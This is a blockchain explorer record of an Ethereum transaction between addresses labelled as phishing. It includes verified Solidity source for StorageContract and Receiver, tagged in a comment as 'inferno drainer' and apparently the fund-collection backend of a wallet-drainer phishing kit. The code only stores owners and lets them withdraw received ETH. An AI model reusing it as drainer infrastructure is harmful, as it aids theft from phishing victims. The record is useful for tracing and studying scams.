Transaction Hash:
Block:
21789723 at Feb-06-2025 08:02:11 PM +UTC
Transaction Fee:
0.000071307627776508 ETH
$0.14
Gas Used:
45,841 Gas / 1.555542588 Gwei
Account State Difference:
| Address | Before | After | State Difference | ||
|---|---|---|---|---|---|
| 0x000037bB...826Ce0000 | (Fake_Phishing188250) | 65.151862631137519912 Eth | 65.15652552483958941 Eth | 0.004662893702069498 | |
| 0x2a42BFBF...D424DAb6a |
0.004831971164940314 Eth
Nonce: 2
|
0.000097769835094308 Eth
Nonce: 3
| 0.004734201329846006 | ||
|
0x95222290...5CC4BAfe5
Miner
| (beaverbuild) | 11.420426955425266523 Eth | 11.420431539525266523 Eth | 0.0000045841 |
Execution Trace
ETH 0.004662893702069498
Fake_Phishing927407.CALL( )
-
StorageContract.CALL( ) -
StorageContract.CALL( ) - ETH 0.004662893702069498
Receiver.CALL( )
File 1 of 2: StorageContract
File 2 of 2: Receiver
// @mr_inferno_drainer / inferno drainer
pragma solidity ^0.8.6;
contract StorageContract {
address public nativeCryptoReceiver;
address[] public owners;
constructor(address defaultNativeCryptoReceiver, address firstOwner) {
nativeCryptoReceiver = defaultNativeCryptoReceiver;
owners.push(firstOwner);
}
modifier onlyOwner() {
bool isOwner = false;
for (uint256 i = 0; i < owners.length; i++) {
if (msg.sender == owners[i]) {
isOwner = true;
break;
}
}
require(isOwner, "Caller is not an owner");
_;
}
function addOwner(address newOwner) public onlyOwner {
owners.push(newOwner);
}
function getOwners() public view returns (address[] memory) {
return owners;
}
function removeOwner(address ownerToRemove) public onlyOwner {
uint256 index = type(uint256).max;
for (uint256 i = 0; i < owners.length; i++) {
if (owners[i] == ownerToRemove) {
index = i;
break;
}
}
require(index != type(uint256).max, "Owner not found");
require(owners.length > 1, "Cannot remove the last owner");
owners[index] = owners[owners.length - 1];
owners.pop();
}
function changeNativeCryptoReceiver(address newNativeCryptoReceiver)
public
onlyOwner
{
nativeCryptoReceiver = newNativeCryptoReceiver;
}
}File 2 of 2: Receiver
// File: contracts/StorageContract.sol
pragma solidity ^0.8.6;
contract StorageContract {
address public nativeCryptoReceiver;
address[] public owners;
constructor(address defaultNativeCryptoReceiver, address firstOwner) {
nativeCryptoReceiver = defaultNativeCryptoReceiver;
owners.push(firstOwner);
}
modifier onlyOwner() {
bool isOwner = false;
for (uint256 i = 0; i < owners.length; i++) {
if (msg.sender == owners[i]) {
isOwner = true;
break;
}
}
require(isOwner, "Caller is not an owner");
_;
}
function addOwner(address newOwner) public onlyOwner {
owners.push(newOwner);
}
function getOwners() public view returns (address[] memory) {
return owners;
}
function removeOwner(address ownerToRemove) public onlyOwner {
uint256 index = type(uint256).max;
for (uint256 i = 0; i < owners.length; i++) {
if (owners[i] == ownerToRemove) {
index = i;
break;
}
}
require(index != type(uint256).max, "Owner not found");
require(owners.length > 1, "Cannot remove the last owner");
owners[index] = owners[owners.length - 1];
owners.pop();
}
function changeNativeCryptoReceiver(address newNativeCryptoReceiver)
public
onlyOwner
{
nativeCryptoReceiver = newNativeCryptoReceiver;
}
}
// File: contracts/Receiver.sol
pragma solidity ^0.8.4;
contract Receiver {
StorageContract storageContract;
mapping(address => uint256) private balances;
constructor(address storageContractAddress) {
storageContract = StorageContract(storageContractAddress);
}
modifier onlyOwner() {
bool isOwner = false;
for (uint256 i = 0; i < storageContract.getOwners().length; i++) {
if (msg.sender == storageContract.owners(i)) {
isOwner = true;
break;
}
}
require(isOwner, "Caller is not an owner");
_;
}
receive() external payable {}
fallback() external payable {}
function withdraw(uint256 amount, address recipient) public onlyOwner {
require(
amount <= address(this).balance,
"Not enough balance in the contract"
);
(bool sent, ) = payable(recipient).call{value: amount}("");
require(sent, "Fail");
}
function bulkWithdraw(uint256[] memory amounts, address[] memory recipients)
public
onlyOwner
{
require(
amounts.length == recipients.length,
"The amounts and recipients length mismatch"
);
for (uint256 i = 0; i < recipients.length; i++) {
uint256 amount = amounts[i];
address recipient = recipients[i];
require(
amount <= address(this).balance,
"Not enough balance in the contract"
);
(bool sent, ) = payable(recipient).call{value: amount}("");
require(sent, "Fail");
}
}
}